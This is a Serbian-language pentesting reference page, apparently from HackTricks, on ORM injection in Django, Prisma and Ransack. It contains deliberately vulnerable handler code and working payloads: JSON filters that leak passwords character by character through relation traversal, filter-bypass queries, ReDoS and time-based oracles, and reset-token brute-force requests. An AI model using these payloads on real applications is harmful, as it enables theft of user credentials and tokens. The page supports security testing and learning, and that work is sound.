# ORM Injection {{#include ../banners/hacktricks-training.md}} ## Django ORM (Python) U [**ovom postu**](https://www.elttam.com/blog/plormbing-your-django-orm/) objašnjeno je kako je moguće učiniti Django ORM ranjivim koristeći, na primer, kod kao što je:
class ArticleView(APIView):
"""
Neki osnovni API prikaz na koji korisnici šalju zahteve za
pretragu članaka
"""
def post(self, request: Request, format=None):
try:
articles = Article.objects.filter(**request.data)
serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)
Obratite pažnju kako se svi request.data (koji će biti json) direktno prosleđuju da **filtriraju objekte iz baze podataka**. Napadač bi mogao poslati neočekivane filtre kako bi iscurilo više podataka nego što se očekuje.
Primeri:
- **Prijava:** U jednostavnoj prijavi pokušajte da iscurite lozinke korisnika registrovanih unutar nje.
```json
{
"username": "admin",
"password_startswith": "a"
}
```
> [!CAUTION]
> Moguće je izvršiti brute-force napad na lozinku dok ne dođe do curenja.
- **Relacijsko filtriranje**: Moguće je preći kroz relacije kako bi se došlo do informacija iz kolona za koje se nije ni očekivalo da će biti korišćene u operaciji. Na primer, ako je moguće doći do članaka koje je kreirao korisnik sa ovim relacijama: Article(`created_by`) -\[1..1]-> Author (`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__user__password__contains": "pass"
}
```
> [!CAUTION]
> Moguće je pronaći lozinku svih korisnika koji su kreirali članak
- **Filtriranje više prema više**: U prethodnom primeru nismo mogli pronaći lozinke korisnika koji nisu kreirali članak. Međutim, prateći druge odnose, to je moguće. Na primer: Article(`created_by`) -\[1..1]-> Author(`departments`) -\[0..\*]-> Department(`employees`) -\[0..\*]-> Author(`user`) -\[1..1]-> User(`password`).
```json
{
"created_by__departments__employees__user_startswith": "admi"
}
```
> [!CAUTION]
> U ovom slučaju možemo pronaći sve korisnike u odeljenjima korisnika koji su kreirali članke i zatim otkriti njihove lozinke (u prethodnom json-u samo otkrivamo korisnička imena, ali je moguće otkriti i lozinke).
- **Zloupotreba Django Group i Permission many-to-many odnosa sa korisnicima**: Pored toga, AbstractUser model se koristi za generisanje korisnika u Django-u i po defaultu ovaj model ima neke **many-to-many odnose sa Permission i Group tabelama**. Što je u suštini podrazumevani način da se **pristupi drugim korisnicima iz jednog korisnika** ako su u **istoј grupi ili dele istu dozvolu**.
```bash
# By users in the same group
created_by__user__groups__user__password
# By users with the same permission
created_by__user__user_permissions__user__password
```
- **Zaobilaženje ograničenja filtera**: Isti blog post je predložio zaobilaženje korišćenja nekih filtera kao što je `articles = Article.objects.filter(is_secret=False, **request.data)`. Moguće je izvući članke koji imaju is_secret=True jer možemo da se vratimo iz veze u tabelu Article i da otkrijemo tajne članke iz netajnih članaka jer su rezultati spojeni i is_secret polje se proverava u netajnom članku dok se podaci otkrivaju iz tajnog članka.
```bash
Article.objects.filter(is_secret=False, categories__articles__id=2)
```
> [!CAUTION]
> Zloupotreba odnosa može omogućiti zaobilaženje čak i filtera koji su namenjeni zaštiti prikazanih podataka.
- **Greška/Na osnovu vremena putem ReDoS**: U prethodnim primerima očekivalo se da će biti različitih odgovora ako filtriranje funkcioniše ili ne, kako bi se to koristilo kao orakl. Ali može biti moguće da se neka akcija izvrši u bazi podataka i da je odgovor uvek isti. U ovom scenariju može biti moguće izazvati grešku u bazi podataka kako bi se dobio novi orakl.
```json
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}
// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}
```
- **SQLite**: Po defaultu nema regexp operator (zahteva učitavanje eksterne ekstenzije)
- **PostgreSQL**: Po defaultu nema regex timeout i manje je podložan backtrackingu
- **MariaDB**: Po defaultu nema regex timeout
## Prisma ORM (NodeJS)
Sledeće su [**trikovi izvučeni iz ovog posta**](https://www.elttam.com/blog/plorming-your-primsa-orm/).
- **Potpuna kontrola nad pronalaženjem**:
const app = express();
app.use(express.json());
app.post('/articles/verybad', async (req, res) => {
try {
// Napadač ima potpunu kontrolu nad svim prisma opcijama
const posts = await prisma.article.findMany(req.body.filter)
res.json(posts);
} catch (error) {
res.json([]);
}
});
Moguće je videti da se celo javascript telo prosleđuje prismi za izvršavanje upita.
U primeru iz originalnog posta, ovo bi proverilo sve postove koje je kreirao neko (svaki post je kreiran od strane nekoga) vraćajući takođe informacije o korisniku tog nekoga (korisničko ime, lozinka...)
```json
{
"filter": {
"include": {
"createdBy": true
}
}
}
// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
```
Sledeći upit bira sve postove koje je kreirao neko sa lozinkom i vratiće lozinku:
```json
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}
// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
```
- **Potpuna kontrola where klauzule**:
Pogledajmo ovo gde napadač može kontrolisati `where` klauzulu:
app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
where: req.query.filter as any // Podložno ORM leak-ovima
})
res.json(posts);
} catch (error) {
res.json([]);
}
});
Moguće je filtrirati lozinku korisnika direktno kao:
```javascript
await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})
```
> [!CAUTION]
> Korišćenjem operacija kao što je `startsWith` moguće je otkriti informacije.
- **Zaobilaženje filtriranja u mnogim-relacijama:**
```javascript
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})
```
Moguće je otkriti neobjavljene članke vraćanjem na mnoge-na-mnoge odnose između `Category` -\[\*..\*]-> `Article`:
```json
{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
```
Takođe je moguće otkriti sve korisnike zloupotrebom nekih loop back mnogu-na-mnoge odnosa:
```json
{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
```
- **Greške/Upitnici sa vremenom**: U originalnom postu možete pročitati veoma opsežan skup testova koji su izvedeni kako bi se pronašao optimalni payload za curenje informacija sa payload-om zasnovanim na vremenu. Ovo je:
```json
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}
```
Gde je `{CONTAINS_LIST}` lista sa 1000 stringova kako bi se osiguralo da **odgovor bude odložen kada se pronađe ispravni leak.**
## **Ransack (Ruby)**
Ove trikove su [**pronašli u ovom postu**](https://positive.security/blog/ransack-data-exfiltration)**.**
> [!TIP]
> **Napomena da Ransack 4.0.0.0 sada zahteva korišćenje eksplicitne liste dozvoljenih atributa i asocijacija za pretraživanje.**
**Vulnerabilan primer:**
```ruby
def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end
```
Napomena kako će upit biti definisan parametrima koje šalje napadač. Bilo je moguće, na primer, izvršiti brute-force na reset token sa:
```http
GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...
```
Kroz brute-forcing i potencijalno odnose, bilo je moguće izvući više podataka iz baze podataka.
## References
- [https://www.elttam.com/blog/plormbing-your-django-orm/](https://www.elttam.com/blog/plormbing-your-django-orm/)
- [https://www.elttam.com/blog/plorming-your-primsa-orm/](https://www.elttam.com/blog/plorming-your-primsa-orm/)
- [https://positive.security/blog/ransack-data-exfiltration](https://positive.security/blog/ransack-data-exfiltration)
{{#include ../banners/hacktricks-training.md}}